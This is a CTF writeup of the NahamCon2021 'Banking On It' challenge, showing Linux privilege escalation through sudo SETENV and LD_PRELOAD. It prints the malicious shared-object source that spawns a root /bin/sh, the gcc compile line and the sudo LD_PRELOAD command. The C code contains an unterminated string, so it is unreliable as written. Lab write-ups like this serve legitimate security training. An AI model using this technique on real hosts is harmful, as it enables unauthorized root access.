Nahamcon2021 CTF - Banking On It - Writeup

Introduction

Today we're doing a CTF writeup for the Banking On It challenge from the NahamCon2021 CTF. Banking On It is a Linux PrivEsc challenge, and after we start the challenge we received a string we can use to interact with the challenge:


First, we login to the server as the gus user, using an SSH private key captured from a previous challenge:

ssh -i guskey.txt -p 31608 gus@challenge.nahamcon.com


First, let's see if our user has any special sudo privileges:

sudo -l


Our user can run the SETENV command as root without a password when using the bank program in the /opt/banking/ directory. That means that if we're able to create a malicious shared object (.so) file, we can use the SETENV LD_PRELOAD command to activate the malicious .so file and elevate our privileges.

First, let's see if there's a compiler on the system we can use to compile our .so file.

which gcc


That being confirmed, we move to a publicly writable directory and create our malicious file's precompiled code:

cd /tmp
vim malicious.c

i (this switches the vim text editor to input mode)


We used this article as a guide for creating the contents of our file:

https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/

Inside the editor:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
unsetenv("LD_PRELOAD);
setgid(0);
setuid(0);
system("/bin/sh");
}


Then save and exit the vim editor by pressing the Esc key, then:
:wq

Make sure to manually type in the code, because pasting code into vim can result in some strange interpretation.

Now we're ready to compile our exploit file:

gcc -fPIC -shared -o malicious.so malicious.c -nostartfiles


The .so file compiled with a few warnings, but it came out nonetheless. Finally, we call the malicious .so file with the bank binary. If successful, the LD_PRELOAD will take effect and we will open a new shell as root:

sudo LD_PRELOAD=/tmp/malicious.so /opt/banking/bank


We are now root.  Let's capture the flag file:

cat /root/flag.txt


Summary

Upon enumerating the system environment, we found that our user had SETENV privileges as root when executing a particular binary. We were then able to create a malicious library file, which we included when executing the SETENV enabled binary, which created a new shell for us with root access. Using this access, we were able to access our objective flag file.

Finish




Comments

Popular posts from this blog

TryHackMe - Windows PrivEsc - Walkthrough

TryHackMe - Reversing Elf - Walkthrough

TryHackMe - Web Enumeration - Walkthrough